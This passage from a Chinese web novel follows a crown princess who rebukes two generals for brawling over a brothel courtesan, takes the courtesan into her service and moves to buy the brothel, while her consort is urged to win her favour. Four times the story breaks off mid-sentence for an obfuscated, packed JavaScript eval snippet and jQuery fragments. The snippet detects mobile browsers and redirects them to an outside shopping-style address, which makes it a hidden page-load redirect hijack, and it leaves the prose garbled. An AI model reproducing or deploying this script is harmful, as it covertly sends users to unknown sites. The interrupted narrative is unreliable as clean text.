“殿下……”程、傅二人满脸通红,“臣、臣……”
两人支支吾吾,偏偏说不出个子丑寅卯来。
说,怎么说,两个将军留恋烟花之地,还为了个花魁打了起来?
这能说的出口!
“下朝后,可能请殿下一聚?”傅将军试探性的开了口,余光悄悄的瞟向了太女。
从下向上望,见不到太女脸色,只见得太女下巴微动,她瞬间安下心来。
“准!”
准。就这么一个字,让顾承乾悔不当初。
在她原本的预期里,她应该在某个安静的会客厅,又或是某位将军的府邸书房,再不然就是茶馆饭馆的雅间,和两人你来我往的试探对方。
然而事情和她想象里的截然不同。刚刚下朝,程、傅二位将军便一左一右,和两个门神一样守在她两侧。做贼心虚似的东张西望,还建议她换一身不起眼的常服。
顾承乾眉梢微挑:“不必,孤无不可视于人前。”
光明磊落的太女拒绝掩饰,两位将军对视一眼,程将军勉强的应了一声:“行吧。”
顾承乾:??
她是真有点被气笑了,竟然还勉强上了,她倒是要看看,这两人葫芦里卖的什么药。
“晓昭,你先回东宫,我和两位将军一同出宫!”
于是,太女殿下便被两位朝廷正三品的将军,一左一右,拥护在中间,大摇大摆的出了宫门,七拐八绕,最终停在了一处雕梁画栋、香气缭绕的建筑前。
“怡红院”
因着尚在白天,所以这院门口也没个招呼的人,只有这么三个大字在阳光下闪闪发光。
顾承乾抬头看着那牌匾,再低头看看自己一身明晃晃的太女朝服,又瞧了瞧看天看地,就是不敢看自己的两位将军,感觉自己的太阳穴又开始突突直跳。
“所以,二位将军,”她几乎是从牙缝里挤出声音,“这就是你们说的一聚?”
程将军搓着手,嘿嘿一笑:“殿下,此地……呃,环境雅致,和殿下再般配不过。”
傅将军也连忙附和:“正是正是,这里说话方便,方便!”
方便什么?
方便她们把她这个太女的名声毁于一旦吗!!
还有般配,怎么着,她这个太女哪里和这种场所般配了。
顾承乾咬牙切齿,这俩人最好祈祷没什么坏心思,别落在她手里。太女依旧当忍者,任由两人半推半就地把她请了进去。
怡红院的鸨父不知道太女穿什么样的衣服,但显然是认得这两位贵客的,见她们带来一位气度更为不凡的娘子,顿时眼睛一亮,眼见着就要热情迎上。
顾承乾冷冷的看着傅将军,她连忙露出了一个讨好的笑容,转身就把那个鸨父瞪了回去,“看什么看,来个雅间,好酒好菜侍候,除了柳意,谁都不准进来!”
哼,这一举一动倒是熟练,平常怕是没少来。
雅间内,熏香袅袅,布置清雅,顾承乾抿了口茶水,心里又给这两位记上一笔。
平时在朝堂上正经事一句不说,跟透明人似的,下了值天天留宿青楼是吧,还是俸禄太多了!
茶香入嘴,程将军迫不及待地开口:
“殿下,事情是这样的!昨日我与傅泼……傅将军在此,都是为了柳意郎君!”
于是乎,程将军讲述了一场有情人被邪恶第三者横叉一脚,不能终
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745137|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成眷属的故事,有情人自然是她程将军,而那个邪恶第三者,就是傅将军了。
“讲的很好,但你要是家里没有那六个侍君,可能更真实一点。”
顾承乾把茶杯放回桌子上,见程将军还想要说些什么,抬手制止。
“两位将军皆是人中龙凤,声名赫赫,不免有小郎投怀送抱,暗中殷勤,但两位要紧急自己的身份,凡事要有度,过犹不及可就不美了。”
“要分的清谁才是一家人,切勿听从外人挑拨呀……”
太女殿下自然是话里有话,用投怀送抱的郎君来指代来拉拢两人的异族,让她俩记得自己身份,不要做一些逾越的事,可谓是苦心孤诣,苦口婆心了。
但是!
见顾承乾误会了心爱的柳郎,傅将军心中一慌,连连解释:“殿下明鉴啊!柳意郎君冰清玉洁,才情出众,身世可怜,沦落风尘实属无奈!”
“是我与程将军皆倾慕于他,都想为他赎身,觅得良宅安置,这才起了争执,绝不是有意挑拨,还请殿下明鉴啊!”
程将军在一旁附和:“是极,是极!”
顾承乾一脸问号。
她设想了无数种可能,两人演戏给她看也好,还是为了兵权内斗也好,甚至是两人南北不同派系,如今正值党争白热化时期,直接打到了明面上……
哪种理由都好,但她千算万算,唯独没想过,起因竟然只是一个男人?
一个花魁郎君?
她不信!!
顾承乾深吸一口气,尽力维持表情上的体面:“二位将军的意思是,你们两个同时看上一个花魁,所以在宣政殿大打出手,将孤也请来这烟花之地?”
二人齐齐点头。
太女殿下闭了闭眼,“然后呢,你们需不需要让孤给你们评理,看看谁更适合给这位柳郎君赎身啊?”
两位朝廷重臣,三四十岁的年纪了,为了这点小事大打出手?
不可能,绝对不可能!
程、傅二位将军对太女的想法一无所察,二人对视一眼,竟是又齐齐点头,带着一股子“殿下您终于懂了”的欣慰,期待着看着她,似乎真的在等她评判。
“你、你们——”
她用手指着两人,只感觉心脏有点疼,马上就要窒息了。
“不可理喻!”
太女当即起身,准备拂袖而去,让这两人清醒清醒时,雅间的门被轻轻叩响。
随即,一个身着青衣,怀抱琵琶的男子低着头走了进来。他身姿如柳,轻盈曼妙,虽未抬头,但只凭身段,顾承乾便知道,他就是那个‘如雷贯耳’的柳郎。
“柳意拜见三位娘子。”男子声音清越,眉眼间带着几分恰到好处的忧愁模样,让人忍不住生出几分怜惜。
说话间眼波回转,从三人之间飞速掠过,最后停在三人之中最年轻,看起来最为尊贵的顾承乾身上。
二人对视,他又如同被惊到一般,飞速移开,脸上适时的染上一抹娇俏的绯红。只一眼,顾承乾就知道二位将军所言非虚。
以这两位将军的段位,被人家玩弄于鼓掌之中也不足为奇了。
“柳郎君请起。”
5. 能屈能屈野心家
顾承乾话落,两位将军就一左一右,争相前去搀扶,殷勤之态让人不忍直视。
但他绝对不会甘心于当某位将军的第不知道多少房小侍。
太女敛眉,只见那柳郎甩袖,拒绝了两位将军的搀扶,自行走到前头,将手中琵琶放下,竟是直直地朝着她跪了下来,一双秋水眸子里瞬间盈满了泪水。
“贵人!”他声音哽咽,重重的在地上扣首。“柳意飘零半生,如今只想寻一安身立命之所。程将军豪爽,傅将军温柔,柳意皆是感激不尽。然……”
他话语一顿,泪珠恰到好处地滚落,面带忧郁,目光闪躲,带着几分羞怯,如同见了许久未见的心上人。
“然柳意只当二位将军为姐姐,从未逾矩,亦不愿她二人因柳意一人,而伤了二位将军情谊,实在进退两难。若蒙贵人不弃,柳意愿为奴为侍,只求常伴左右,还望贵人成全!”
说着,他竟伸手够向了顾承乾的袍子,仰头望着她,姿态虔诚,神情卑微可怜至极。
程、傅二位将军瞬间傻眼,张大了嘴巴,面对突如其来的转折,目光里还有着几分茫然。
她们像是真傻。
顾承乾低头,像是逗弄宠物一样,指尖依次划过柳意的额头、脸颊……
而他也始终顺从的仰着头,任由她动作。
柳意很有野心,能力也配得上他的野心。在确定顾承乾的地位更高以后,他十分果决的放弃了之前的经营,全然不在意失败后是否会被二人报复,颇有几分壮士断腕的气魄。
当然,也可能是他相信顾承乾不会拒绝他。全天下哪有女人会拒绝这样一个男人,一个为了她拒绝两位将军,一心一意只想跟在她身边侍候的漂亮郎君。
但凭什么呢,这是女尊,她为什么要因为可怜,帮一个男人的野心铺路!
“柳郎君。”
顾承乾俯身,凑到柳意面前,捏起了他的下巴,欣赏着面前美男肩膀耸动,无声哭泣的可怜模样,兀地笑出了声。
“柳郎君,你多虑了,两位将军还不会为了一个男人伤了情谊,柳郎怕是多心了。”
顾承乾面无表情,一根手指、一根手指地,将自己的袍角,从柳意的怀里抽了出来。声音平静无波,却无端端的让人心里一凉。
“我对收奴纳侍,没什么兴趣,也不缺人侍候,柳郎若是要走,倒是可以找我来借钱。”
顾承乾这话如同兜头浇了一盆冰水,霎时让柳意心头一凉,那张泫然欲泣的俏脸瞬间血色尽失,连假哭都忘了,只剩下满脸的错愕。
她……她竟然拒绝了?
这完全超出了柳意的所有预想。他凭借这般姿色与手段,在风月场中无往不利,甚至不需要付出清白,就将这些达官显贵玩弄于股掌之间。
他原以为,这位身份显然更为尊贵的年轻女子,在听到他这般情真意切的表白后,即便不会心生怜惜,至少也该因着虚荣心而顺势收下才是。
“贵、贵人……”柳意嘴唇哆嗦,脸上有几分难堪,比起方才特意装出来的可怜,如今更添了几分破碎感,怕是少有人会不心生怜爱,但顾承乾的注意力却早已不在他身上。
她目光转向旁边依旧表情呆滞的程、傅二位将军,语气陡然转厉:
“程将军!傅将军!”
突然被叫到,二人不由得浑身一凛,下意识挺直了腰板,如同在军中听令一般:“末将在!”
“女子何患无夫。”顾承乾一字一顿,恨铁不成钢的看着她二人,“二位将军本为袍泽,乃是战场之上相托性命之人,却于此事上争强好胜,把私人情绪带到了宣政殿上,甚至还在沾沾自喜!”
之前小李探花那还知道‘女人如手足,男人如衣服’呢,和武将这里一对比,人家那也确实算是有文化、懂谋略的文人了。
太女自是越想越气,再上前一步,说话也毫不留情:
“你们以为你们这是什么?一桩足以称赞的风流韵事,还是什么值得炫耀的资本!”
“一个风尘男子都懂得‘不能因一人伤了二位将军情谊’,你们呢?”
顾承乾伸手,依次指着两人。
“两个被美色迷了心窍,为个男人就能反目成仇的糊涂虫!将士们会怎么想,外邦又该怎么看我沧溟国?”
她的声音赫然拔高。
“我告诉你们,将士们会觉得我们国家完了,因为我们只有一群尸餐素位,靠下半身思考的蠢货上官!
外边那群人也只会笑我沧溟无人!只需要遣二三美人,就能轻易离间乃至灭国,你们还觉得骄傲吗!”
这番话如当头棒喝,让程、傅二人瞬间清醒,再想到之前情绪上头做的那些事,脸色瞬间惨白,冷汗涔涔而下。
“末将知罪,请殿下责罚!”二人齐刷刷单膝跪地,语气沉闷,恨不得把头也埋到地底下去,这样姿态,倒是让顾承乾心中怒气散了大半。
还好,这两位至少知道羞愧两个字怎么写,还没完全被美色冲昏头脑。
没错,她现在对武将的要求一降再降,别说是能和她搞权谋、玩博弈了,只要没脑残到这种地步她就烧高香了!
虽是气消了大半,但顾承乾面上不显,拂袖转身,不再看二人。
“责罚自然少不了,你二人即是这般怜香惜玉,便将《男训》、《男戒》、《男则》各抄三百遍。在此之前闭门思过,除了公务,不得再出门寻欢作乐!”
训、戒、则。这三件套字数可都不少,不仅不好写,而且还都是男子看的书,让两位将军写不可不谓是精神折磨。
更可怕的是在抄写完之前,除了上朝和练兵,她们只能回家待着,不仅不能喝花酒,甚至连去和姐妹喝酒都不行。
两人心中一阵叫苦,但一点也不敢显露,连忙叩首谢恩:
“末将领罚。谢殿下开恩!”
呼——
这下子,顾承乾被两人“骗”到青楼的郁气,也散得差不多了,摆手示意二人起身,已然准备离去。
不然呢,她这么个年纪,刚刚监国理政,这要是被看到她出入青楼,她这个太女要不要面子了。
而且她娘说了,作为国家的掌权人,在其位谋其职,要让
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745138|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
百姓过的好,青楼的存在,彰显着有人过得不好,以至于养不起孩子,她倍感羞愧。
现在是无法完全取缔,取缔了以后不知道这些男子该如何谋生,她该想办法解决,要是被别人看到她在这,恐怕这种场所又要大张旗鼓的风靡起来了。
上行下效,不知道有多少孩子会无端端的被卷入。
急着离开的太女殿下自然也看不到,刚刚还脸色苍白,瘫坐在地上的柳意,此刻又焕发出异样的神采。
他刚刚听到了,殿下。
毫无疑问,整个王朝里,这般年纪又能称为殿下的,只有这么一个人。
太女!
这个认知让柳意的心脏狂跳起来。他原本以为这只是个位高权重、家世显赫的贵女,却不想竟是未来的继承人。
攀附一个将军算什么?若能得太女青眼,那才是真正的攀龙附凤。
不需要多想,巨大的野心已经如同野火般在他心中见风狂涨,他已经压制不住心中的急切。
“贵人!”
眼见顾承乾训斥完两位将军,已经准备离开了,柳意再次叩首,声音比之前更加凄婉。
“柳意身份低微,无福侍候殿下身侧……”
他抬起头,泪眼婆娑,但即便是顾承乾并没有投来目光,他也依然坚定的望着她的背影:“但草民对殿下心生仰慕,不愿再沉沦于此,污浊自身,殿下方才说……若柳意愿走,可向您借钱?”
顾承乾离开的脚步一顿,听到这里,她确实有些意外了。
她本以为经过刚才那番敲打,这柳意也该知难而退了,没想到他竟还能顺杆子往上爬。
是知道她的身份,所以野心更大了?
但不管怎么说,这份脸皮,这种忍常人不能忍的性子,倒也确实是个人才了。
“哦?”
顾承乾回头,对他也算是有了几分兴趣,“我确实说过这话,怎么,柳郎君想清楚了,要借钱赎身?”
柳意深吸一口气,看起来不卑不亢,却又恰到好处地流露出几分脆弱,依赖的仰望着顾承乾,仿佛真的喜欢她,因为她才想要赎身。
“柳意不敢多求,只要能得自由身……伴在心爱之人身侧,就此生无憾了。”说话间,他湿漉的眼睛始终深情的凝望着顾承乾。“只要能活下去,有生之年还有见到贵人的机会,一切但凭贵人心意,柳意绝无异议!”
这话说得很漂亮,不仅表明了自己决心脱离风尘,还暗示说是因为顾承乾才想要离开的。甚至没忘了朝她要后续的生存保障,顺便再次表达深情和依恋。
人才啊人才,何止顾承乾啧啧称奇,一旁的程、傅二人也听得目瞪口呆。
什么意思,她俩要帮忙赎身,他偏偏不愿意,非要和殿下借钱?
殿下的钱多什么?
二人百思不得其解,但顾承乾却是看得分明,这么能屈能屈的性格,显然可以做很多事,这倒是让她有了一个不成熟的想法。
“柳意,借我的钱,可就要给我卖命了,你确定要供我驱使?”
“柳意求之不得!”
6. 太女夫他正式出击
日头渐落,红墙青瓦,断断续续的映出不知何人的影子,也看不出是谁的,只晓得一个个步履匆匆,不敢停歇,唯恐怠慢贵人,留下阵阵香风在此处盘旋,昭示着有人来过。
这里是皇宫。
“青珩,今天的账目看的如何?”
景仁宫内,男子端坐上首,似是漫无目的的玩弄护甲,不经意间问了起来,而新上任的太女夫自然不敢松懈,立刻起身行礼。
“儿臣已全部清点完毕,只是……”太女夫有些迟疑,“不知为何,母皇那里每日都会丢上几只鸡,也不知是人还是创了什么动物进来。”
这事说大不大,也就是几只鸡的事,但说小也不小,毕竟是皇帝的事情。但说一千道一万,不管怎么样,他这个做小辈的也不好处理,自然只能请教皇夫。
皇夫的手一顿,动作停了下来,把目光投向了太女夫:“我知道了,账本拿过来我看看,以后你就不用管了。”
话音落下,太女夫乖巧称是,皇夫身边的晓昭目不斜视,率先接过了侍男递过来的册子,并没有搭理对方含情脉脉的双眸。
作为太女的内侍官,晓昭姑娘前途无量,身边投怀送抱的男子多的是,这样的侍者还挑不起她的兴趣。
皇夫抬了抬眼,接过账本:“哟,竟然是晓昭大人送过来的,真是稀奇。”
“我和一个小小的太女夫,也能让太女的内侍官大人屈尊服侍,本宫受宠若惊啊!”
对此,晓昭姑娘只能讪讪一笑,默默的回到了皇夫身后站着,一言不发。
按理来说,以晓昭的身份,宫里不该有人对她这种态度,尤其是这位是当今国父,太女亲父。
但谁让她被太女给害惨了呢!
“晓昭,你给本宫说说,殿下到底去哪儿了!”账本被重重的摔在了桌上,周围侍者闻声而跪,不敢抬头。晓昭站在一旁,只得继续低头,全当不曾听见。
她说,她想说都不知道说什么。
殿下和程、傅两位将军出门前,她就被打发回东宫了,继续着手调查王侍郎的事情,哪里知道殿下去了哪里。
皇夫见人不理他,连连发笑:“好好好,好啊!”
“瞧瞧咱们晓昭大人,多么的忠心不二,眼睁睁的看着太女误入歧途,还装聋作哑!!”
此言一出,皇夫也立刻察觉到了不对。
误入歧途!
这话说的可不仅是晓昭未尽臣子劝谏之责,也指摘了太女行事有缺。
晓昭立刻心头一凛,连带着刚刚就没被叫起身的太子夫也是面上一僵,膝盖一弯。
“皇父息怒,太女殿下代天监国,许是朝政要事,不便为她人知晓……”
太女身边的内侍官从小陪在她身边,大事小事、内事外事接可插手,二人一荣俱荣,一损俱损,所以皇夫从未对晓昭如此言语,太女夫难免心中慌乱,担心父女二人的关系。
见太女夫这般姿态,皇夫是又喜又怒。喜的是太女夫不愧大家之子,就算什么都不知道,也晓得给太女维系脸面。但偏偏就是他什么都不知道这点最是可恶!
“你啊你,样样都好,就是谢家把你教的太过端庄体贴!”
皇夫恨铁不成钢,却也顺着台阶走了下去,不再逼迫无辜的晓昭,“都跪着干什么,本宫又没让你们跪下,还不快把太女夫扶起来!”
周围侍者不敢反驳,太女夫起身后轻声道谢,又回到了下首座位上,皇夫心里叹他性子太软,但心中满意。
他的承乾自小就有主意,太女夫事少一点最好。
“晓昭,怎么,你要等本宫亲自请你不成?”皇夫又是一阵阴阳怪气,晓昭沉默着起身,连句“不敢”都没说,好像那个嘴被封上了似的,让人直生闷气。
皇夫捂着心口:“可气死我了,谁要是跟了你,那可是遭老罪了,八竿子打不出一个屁来。”
被这么骂,晓昭依然沉默以对,皇夫只觉得额头一跳一跳的,眼前竟是开始发黑。
“滚滚滚,快滚,找你的好太女去,看你就来气!”
不知道他的太女怎么忍得了这么个倔驴,气的他险些闭眼。
“是!”晓昭浅松一口气,步伐轻快,很快就没了身影。
男人,可真是蛮不讲理。
殿内,谢青珩脚步轻移,走到皇夫身边,皇夫依旧揉着额头,并没有开口。
太女夫伸手,不免碰到了皇夫的护甲,皇夫将手向前挪了挪,太女夫的手指就覆在了上面,轻柔的按了起来,皇夫眉眼舒缓,手掌放下,闭眼享受了起来。
“儿臣在家时,母亲也常被姐姐惹怒,父亲就会给母亲按头,耳濡目染,儿臣也学了几手,皇父可还难受?”
“嗯,我好多了。青珩甚是贴心,若是承乾能有你一半省心就好了!”
“殿下是太女,日后要继承国统,乾纲独断,若是如青珩一般,皇父反倒是要担心了。”太女夫声音轻柔,手上的力道也恰到好处,说出来的话也到了皇夫心坎上。
“哼,你倒是向着她说话。”皇夫话里似是不满,但细看表情,他明显是受用的。
也是,那是皇夫唯一的女儿,他怎么可能不满意。谢青珩心下一松,声音越发柔和。
“殿下和陛下一样,要关心家国大事,儿臣帮不上忙,只能帮殿下陪陪皇父,让她没有后顾之忧。”
“殿下在东宫时常和儿臣说起皇父,让儿臣多和皇父学一学,哪怕学得十之一二,也受益匪浅,只可惜儿臣愚钝,尚不足皇父万分之一。”
说到后面,谢青珩的声音里免不了带上几分撒娇的语气,让没有男儿的皇夫心下一软。
“她啊,对我可说不出这样好听的话呢。”出生就被立为太女,顾承乾很小就被皇帝亲自教导,吃住一起,他插不上手,没那样亲近,说是半点不难受是不可能的。
“殿下为女子,又是太女,自是不好意思在父亲面前说这些,但父女天性岂能阻断,殿下私下里念着皇父呢。”太女夫解释的十分及时,皇夫心中又欢喜了起来。
“她打小就懂事,来的也及时。我和陛下当年无论如何也没个孩子,我险些以为自己不能生育,还好上天垂怜,皇长女终究还是降生了。”
提起这个,皇夫心生感动。当年大家都觉得他这个皇夫有问题,还好陛下坚持,不忍弃了他这个糟糠之夫,专心要嫡女,不然他怕是也要尴尬。
母亲生孩子,孩子和父亲本就不近,若是没有血缘关系,和陛下一同去了还好,不然等到陛下百年以后,总归是要谨小慎微,处处受制了。
还好他运气不错。
“倒是你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745139|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”皇夫睁开眼睛,握上了太女夫的手,示意其他人离去,引太女夫坐在自己身侧。
“我和陛下有潜邸之情,陛下不忍弃我,再加之陛下经历过夺嫡一事,所以格外重视嫡长,坚持要与我生女。但承乾不同,她不曾有过这些,你更要争气一点,讨得她的欢心才好啊。”
提起这个,谢青珩当真难过了起来,侧过头,勉强挤出来个笑脸:“殿下不喜儿臣,儿臣也无可奈何……”
“啧,死脑筋。她们女人去青楼为的是什么,还不是一个新鲜刺激!
太女年轻,所以对这种事好奇,你模样家世都是一等一的好,放开一点,还不比那种男人好?”
太女夫听的面红耳赤,“儿臣,儿臣怎可学那般风尘做派!”
“那你就眼睁睁看着太女一下朝就往青楼跑?”皇夫把不敢看他的太女夫拽了回来,眼睁睁看着太女夫脸色由红瞬间变成惨白。
“殿……殿下,殿下竟是去了青楼?”
“是啊,承乾一下朝,光天白日的就迫不及待去了青楼,这让朝臣如何看你。”皇夫眯起了眼睛,似乎没看到女婿快要心碎的样子,自顾自的感叹。
“唉,你们小妻夫之间的事,你们要是不说,我们也不知道。但皇父是过来人,你是个好孩子,你当这个太女夫,皇父放心,皇父也是希望你俩好好的。”
“能不能接受,愿不愿意皇父也不逼你,你自己想想吧。”
……
谢青珩不知道自己是如何走出景仁宫的。
皇父最后的那番话,在他耳边反复回响。
青楼……
殿下竟然去了那种地方吗。
他失魂落魄地走在宫道上,夕阳将他的影子拉得细长,映在红墙之上,显得格外寂寥。
十几年的挑选,他以成为太女夫为人生中最大的事,为此日夜苦练,好不容易得偿所愿,结果这才刚刚成婚几日,太女就厌弃……不对,太女甚至从来没对他有过兴趣。
回到东宫,太女夫屏退左右,独自对镜而坐。
镜中人眉眼精致,仪态端庄,他伸手去理鬓间碎发,镜中男子定定的看着他,二者对视,谢青珩下意识的伸手,对方同样抬手。
指尖相触,只留一片凉意。
他是谢家十余年精心雕琢出的最完美的作品。但这个为太女殿下量身定做的物品,似乎并不太讨人喜欢。
怎么可以呢,他怎么可以不讨太女喜欢!
“你更要争气一点,讨得她的欢心才好啊。”
“放开一点,你还不比那种男人好?”
皇父的话语如同魔咒,在他脑中盘旋,一个从未有过的念头,在他心中破土而出。
他要去找殿下,去看看那青楼楚馆之人,究竟凭什么让殿下驻足。
这个决定让他自己都感到心惊,指尖冰凉,脸颊也泛起异样的潮红。这是叛经离道的,是男子不该有的想法,但这念头一经破土,就见风而起,肆意的疯长起来,再也压制不下去。
他无法控制的站起身,声音也带着一丝微妙的颤抖。
“去,去为我寻一套民间女子的衣物来。”
“是。”
东宫的侍者向来守礼,并未开口多问,只低声应下,就匆匆离去。
殿内重归寂静。
7. 买一赠一,附赠太女夫一位
“听明白了吗?”
太女一口气说完了一长串的话,嘴唇发干,将手中尚温都茶水,一饮而尽,舒坦的抬了抬头,这才把手中杯放下,看向了对面的人。
“这……这……”鸨父虚虚的坐在太女对面,腿肚子忍不住的打颤,一想到对面是太女亲至,手就不知道该放在哪里是好。
“草民,草民……”
顾承乾本是好脾气的人,但对面这人民了半天,一句话也说不出来,让她也没了耐心,随意的解开了腰间的玉牌。
内凤外龙,彰显女子在内温和良善,对外冷冽锐利的太女佩落在鸨父眼前,他的心也跟着打了个哆嗦,忍不住就要站起身来行礼,却被身后的哼哈二将一左一右固定在了原地。
正是程、傅两位将军。
“老实点,殿下说了让你坐!”凶恶的说完话,程将军脸上又堆满了笑意,对着顾承乾讨好的笑了笑,目光依旧不可避免的往她身后的柳意身上看。
顾承乾:……
算了,没脸就没脸吧,又不是造反了。
“孤说了,孤要买你的青楼,怎么,怕孤买不起?”太女殿下自幼习武,手指长而有力,敲在桌面上,让人情不自禁的看了过去,鸨父咽了咽口水。
“您这是哪儿的话,草民怎么能这么想呢,但是……”他赔笑道,“您也知道,咱们京城寸土寸金,城里的兄弟们都是苦命的,靠着草民这小楼吃饭呢,草民……”
“砰!”
不等太女反应,程将军粗壮的手掌率先掌拍在桌面上,杯盏齐齐震颤。她横眉怒目,愤然开口:“但是个屁!殿下要和你交易是给你脸,你再啰嗦,老娘把你这破楼都给拆了!”
鸨父吓得整个人从椅子上弹起,又被傅将军面无表情地按了回去。傅将军瞪了程将军一眼:“殿下面前,收起你那野性子。”
程将军不服气的咧了咧嘴,她这是真性情,陛下认证过的,傅蛮子她懂什么!
不过任是心里再不服气,程将军到底还是收回了手,傅将军也转而看向鸨父,搭在他肩膀上的手拍了拍,用的是很轻的力道,像是在安抚他,但说出来的话让人不寒而栗。
“程将军也是话糙理不糙,你这小楼,殿下说要,你就得给。至于价钱……”她顿了顿,手上的力道更重了几分。“殿下愿意给,这是恩典,但你若不要……”
她没再说下去,但鸨父却是瑟瑟发抖,已然是想到了什么不好的事情。
“好了两位将军。”顾承乾抬手,止住了这对儿神人的表演。
再说下去,她都不知道自己成什么黑恶组织了。
她身体微微前倾,目光锁定在鸨父惨白的脸上。
“你也不用和孤说这些有的没的。你我都清楚,你这楼能开起来,用的也不是什么好道,买卖也好,偷骗也罢。总之无论如何,你都是为了自己的利益。”
“少说些扯大旗的话,孤虽年幼,却也不是那般好骗的,孤现在还愿意跟你说话,你就老老实实的配合。孤好说话,但程、傅两位将军却是看不惯你作态的。”
顾承乾每说一句,程将军就配合的把表情变得更凶恶一分,鸨父的脸色也就再白一分。
太女说的这些隐秘大抵是对的,他从人牙子手里买得年轻的小郎在楼里养着,身段相貌好的就来接客,不好的就当个打杂的。
这些人哪里来的,他一概不会过问,但他也知道,国家越来越好,养不起孩子的是越来越少,所以这些孩子来八成路见不光,可这和他有什么关系。
人为财死鸟为食亡,他给他们钱,他们给他人,他又没做错什么。
想到这里,鸨父定了定心神:“殿下,草民冤枉啊,草民规规矩矩做生意,哪里——”
“你以为孤在和你商量吗!”顾承乾拍桌而起,“买卖同罪四个字难道没有写在律法上吗,为什么你们就总是抱有侥幸的心思呢!我要是彻查下去,你以为你还有机会在这里和我说这些废话吗!”
“你们或多或少的,让一些险些死去的孩子活了下来,这些我看得分明,而我也无意引得众人恐慌,这才给你机会让你赎罪。”
“如果我是你,就应该老老实实的收下钱,把所有和这些有关的人员给供出来,然后消失的无影无踪,再也不回来。”
她站在桌子旁,俯身注视着那张涂满了脂粉,肥头大耳小眼睛,狰狞扭曲的惹人厌的脸,面无表情的将那枚太女佩往前又推了半寸:“三日内,孤要看到地契和名单。”
“言尽于此,孤仁至义尽。”
说完,她不再多看鸨父一眼,拂袖转身,勾了勾手示意一直安静的柳意跟上,还不忘叫上她的哼哈二将。
“程将军,傅将军。”
“末将在!”二人同时应声,傅将军原地抱拳,看到程将军紧紧的跟了上去,这才神色一凛,跟在了另一边。
“你俩找人看着点,让这鸨父在这好好的思考,要是他和旁人联系,随时来东宫找我。尤其是出现和达官显贵有关的人,不管是谁,一定要控制住,等我过来。”
按照她前世的经验来讲,这种青楼的背后,应该会潜藏着一个野心勃勃的幕后黑手,见钱袋子要被端了,肯定忍不住会出手,到时候她正好一齐击破。
两位将军对视一眼,程将军挠了挠头,不太明白哪里有蠢货会在这种情况下顶风作案,跟太女不对付,但还是老老实实的领了命,搓了搓手,试探性的问道:
“那殿下,柳、柳意呢,他您有什么安排啊,用不用臣帮您……”
又提到了柳意,顾承乾的脚步微顿,柳意攥紧了拳头,期冀的看向太女的背影。
程将军明显还想要他,而傅将军已然不愿意再起争执,若是太女应下,那他的结局也就彻底定下了。
不行,他不想,不……
稍作停顿,顾承乾继续向门外走去,在一人期待一人哀求的目光里,她的声音也显得更清晰有力:
“他我另有安排,先在东宫放两天。”
柳意眼前一亮,而程将军则是脸一垮,不过被傅将军一掌拍在后背,瞬间就把人放到了九霄云外,只一门心思的和傅将军比斗。
是喜欢漂亮郎君,还是喜欢和傅将军斗气一看便知。
出了雅间的时候,天色已经渐渐变暗,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745140|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怡红院里也陆陆续续来了人,大厅里歌舞升平,笑闹声逐渐响起。
提着衣摆,太女殿下面无表情,假装自己毫不尴尬,状似平常的从楼梯上走下来,哼哈二将推推挤挤的跟在她身后,本应格外显眼,但不知道为何,却无人看过来。
太女殿下松了一口气,准备一鼓作气的直接离开,但却不可避免的被大厅里的骚动所吸引,看向了声源处,不禁蹙起了眉。
只见几个衣着光鲜的纨绔女子,竟是围着一个身形纤瘦高挑的小娘子调笑。
而那小娘子也甚是懦弱,头戴帷帽,面纱遮得严严实实,一身水蓝色的普通衣裙,面对其他女子的靠近,只会正手足无措地后退,远远的,可以看到她的身子正在微微发抖。
“小娘子,怎么一个人,也不点个小郎来陪,用不用姐妹们陪你喝一杯?”
“瞧瞧这身段,这气质,竟是和男子差不多,真真是少见。遮着脸作甚,让姐姐瞧瞧……”
